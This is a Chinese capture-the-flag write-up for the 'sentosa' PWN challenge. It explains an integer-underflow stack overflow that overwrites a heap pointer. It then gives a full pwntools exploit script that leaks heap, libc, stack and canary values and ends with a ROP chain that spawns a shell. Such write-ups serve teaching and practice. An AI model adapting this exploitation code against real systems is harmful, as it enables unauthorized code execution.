攻防世界PWN之sentosa题解

161 篇文章 9 订阅
161 篇文章 9 订阅

Sentosa

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,一个经典的增删改查程序

经过分析,程序中不存在堆溢出漏洞,唯一的漏洞在这里

如果a20,就会造成输入长度无限制,因为0-1变成-1,传给read,而read的size参数为无符号数,导致-1转换成无符号数,很大,可以无限制输入。

最终造成create函数里栈溢出,覆盖v6指针

如果a20,就会造成输入长度无限制,因为0-1变成-1,传给read,而read的size参数为无符号数,导致-1转换成无符号数,很大,可以无限制输入。

最终造成create函数里栈溢出,覆盖v6指针

而v6指针是什么呢?

V6是堆指针,我们溢出后覆盖成其他地址被保存到global_heaps里面,我们可以实现任意地址读写

我们要泄露libc地址,获取需要的函数,因此,我们需要利用unsorted bin,那么就需要伪造unsorted bin范围的chunk。当我们伪造好了fake_chunk,我们就要想办法free掉它,这就需要利用栈溢出覆盖v6指针为fake_chunk的地址,这样,我们下一次就能free它了。因此,我们首先得泄露堆地址。

由于不存在UAF,因此,我们利用栈溢出覆盖v6指针为释放后的chunk的地址,然后show就可以泄露出堆地址了。

由于输入的size0会造成无限输入,因此我们需要用’\n’结束输入,而\n会被替换成’\x00’,也就是说,我们最先不知道堆地址的情况下,想要泄露堆地址,就得使用低1字节覆盖。而低1字节注定为0,那么,也就是我们最终会让v6指向chunk0,那么,我们就得让chunk0里留下堆指针才行,因此,我们先释放其他chunk,将chunk0的释放放到后面,由于fastbin采用头插法链接chunk,因此在chunk0的fd域就会留下指针

  1. #0  
  2. create(0x3,'a'*0x2)  
  3. #1  
  4. create(0x3,'b'*0x2)  
  5. #2  
  6. create(0x3,'c'*0x2)  
  7. #3  
  8. create(0x3,'d'*0x2)  
  9. #4  
  10. create(0x3,'e'*0x2)  
  11.   
  12. delete(1)  
  13. delete(0)  
  14. delete(2)  
  15. #覆盖堆指针低位为0,使得它指向chunk0chunk0里保存着堆指针,可以供我们泄露  
  16. create(0,'a'*0x5A) #chunk2重新申请回来  
  17. #泄露堆地址  
  18. show()  
  19. sh.recvuntil('Capacity: ')  
  20. h = int(sh.recvuntil('\n',drop = True))  
  21. if h < 0:  
  22.    h = 0x100000000 + h  
  23. heap_addr = (0x55 << 4 * 8) + h << 8  
  24. print 'heap_addr=',hex(heap_addr)  

接下来,我们就要伪造unsorted bin范围的chunk了,为了能够free这个fake_chunk,我们还得精心构造,绕过程序中的这个检测

并且,空字节不会被写到堆里,因为程序中使用了strncpy,遇到’\x00’就会截断,因此,伪造这个fake_chunk需要精心考虑

如下,我们控制price0x1000,使得我们在这个chunk里伪造的fake_chunk正好满足程序的要求,即fake_chunk + *fake_chunk + 5 = 1

  1. #1,size = 0x20 + 0x80 = 0xA0  
  2. fake_chunk = 'd'*4 + '\xA1'  
  3. #控制price的值,使得符合位置为1,绕过检查  
  4. create(0xB,fake_chunk,0x10000)  
  5. #2  
  6. create(0x59,'f'*0x58)  
  7. #5  
  8. create(0x59,'g'*0x58)  
  9. #6  
  10. #覆盖堆指针低位为0,使得它指向我们伪造的fake_chunk  
  11. create(0,'a'*0x5A + p64(heap_addr + 0xC0))  
  12. #fake_chunk放入unsorted bin  
  13. delete(6)  
  14. #覆盖堆指针低位,使得它指向我们伪造的fake_chunk,因为此时fake_chunk里面有libc指针  
  15. create(0,'b'*0x5A + p64(heap_addr + 0xC0-4)) #6  
  16. #泄露libc指针  
  17. show()  
  18. sh.recvuntil('Project: ggggggggggggggg')  
  19. sh.recvuntil('Project: ')  
  20. main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))  
  21. malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
  22. libc_base = malloc_hook_addr - malloc_hook_s  
  23. environ_addr = libc_base + environ  
  24. system_addr = libc_base + system_s  
  25. binsh_addr = libc_base + binsh_s  
  26. pop_rdi_addr = libc_base + pop_rdi  
  27. print 'libc_base=',hex(libc_base)  
  28. print 'environ_addr=',hex(environ_addr)  

现在,我们还差canary了,我们只要有了canary的值,就可以用栈溢出做ROP了。那么,我们需要泄露栈地址,而libc中的environ变量保存着栈地址,我们利用栈溢出把v6指针覆盖为environ的地址后show,就能得到栈地址。然后,我们计算出canary存放的位置,用同样的方法泄露canary后栈溢出ROP即可getshell。

  1. #同理,接下来,我们覆盖堆指针为environ_addr附近,这样我们可以泄露栈里面的内容  
  2. #需要注意的是,由于有了unsorted bin,我们新申请的块会从unsorted bin里面切割,导致show的时候发生错误  
  3. #因此,我们delete(3),让我们申请的块直接拿fastbin里面的chunk3来,而不从unsorted bin里面切割  
  4. delete(3)  
  5. create(0,'b'*0x5A + p64(environ_addr-4))  
  6. show()  
  7. sh.recvuntil('Project: fffffffffffffff')  
  8. sh.recvuntil('Project: ')  
  9. stack_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))  
  10. print 'stack_addr=',hex(stack_addr)  

我们最终的exp脚本

#coding:utf8
from pwn import *

sh = process('./sentosa')
#sh = remote('111.198.29.45',36218)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
#借助environ,我们可以泄露栈地址
environ = libc.symbols['environ']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()
pop_rdi = 0x21102

def create(size,name,price=0, area=0, capacity=0):
   sh.sendlineafter('5. Exit','1')
   sh.sendlineafter('Input length of your project name:',str(size))
   sh.sendlineafter('Input your project name:',name)
   sh.sendlineafter('Input your project price:',str(price))
   sh.sendlineafter('Input your project area:',str(area))
   sh.sendlineafter('Input your project capacity:',str(capacity))

def show():
   sh.sendlineafter('5. Exit','2')

def delete(index):
   sh.sendlineafter('5. Exit','4')
   sh.sendlineafter('Input your projects number:',str(index))
#0
create(0x3,'a'*0x2)
#1
create(0x3,'b'*0x2)
#2
create(0x3,'c'*0x2)
#3
create(0x3,'d'*0x2)
#4
create(0x3,'e'*0x2)

delete(1)
delete(0)
delete(2)
#覆盖堆指针低位为0,使得它指向chunk0,chunk0里保存着堆指针,可以供我们泄露
create(0,'a'*0x5A) #chunk2重新申请回来
#泄露堆地址
show()
sh.recvuntil('Capacity: ')
h = int(sh.recvuntil('\n',drop = True))
if h < 0:
   h = 0x100000000 + h
heap_addr = (0x55 << 4 * 8) + h << 8
print 'heap_addr=',hex(heap_addr)
#1,size = 0x20 + 0x80 = 0xA0
fake_chunk = 'd'*4 + '\xA1'
#控制price的值,使得符合位置为1,绕过检查
create(0xB,fake_chunk,0x10000)
#2
create(0x59,'f'*0x58)
#5
create(0x59,'g'*0x58)
#6
#覆盖堆指针低位为0,使得它指向我们伪造的fake_chunk
create(0,'a'*0x5A + p64(heap_addr + 0xC0))
#fake_chunk放入unsorted bin
delete(6)
#覆盖堆指针低位,使得它指向我们伪造的fake_chunk,因为此时fake_chunk里面有libc指针
create(0,'b'*0x5A + p64(heap_addr + 0xC0-4)) #6
#泄露libc指针
show()
sh.recvuntil('Project: ggggggggggggggg')
sh.recvuntil('Project: ')
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
environ_addr = libc_base + environ
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
pop_rdi_addr = libc_base + pop_rdi
print 'libc_base=',hex(libc_base)
print 'environ_addr=',hex(environ_addr)
#同理,接下来,我们覆盖堆指针为environ_addr附近,这样我们可以泄露栈里面的内容
#需要注意的是,由于有了unsorted bin,我们新申请的块会从unsorted bin里面切割,导致show的时候发生错误
#因此,我们delete(3),让我们申请的块直接拿fastbin里面的chunk3来,而不从unsorted bin里面切割
delete(3)
create(0,'b'*0x5A + p64(environ_addr-4))
show()
sh.recvuntil('Project: fffffffffffffff')
sh.recvuntil('Project: ')
stack_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
#定位canary的位置,注意的是在canary前面那个地址要至少有3字节0,和canary的最后一字节0,组成4字节数据,代表chunk的大小为0
#不然要出错,因此,我们找到了这个地方有一个符合的
canary_addr = stack_addr - 0x130
print 'canary_addr=',hex(canary_addr)
#用同样的方法泄露canary
delete(4)
create(0,'b'*0x5A + p64(canary_addr-3))
show()
sh.recvuntil('Project: fffffffffffffff')
sh.recvuntil('Project: ')
sh.recvuntil('Project: ')
canary = u64('\x00' + sh.recvuntil('\n',drop = True))
print 'canary=',hex(canary)
#栈溢出,构造ROP
payload = 'a'*0x68 + p64(canary) + p64(0)*5 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
create(0,payload)

sh.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值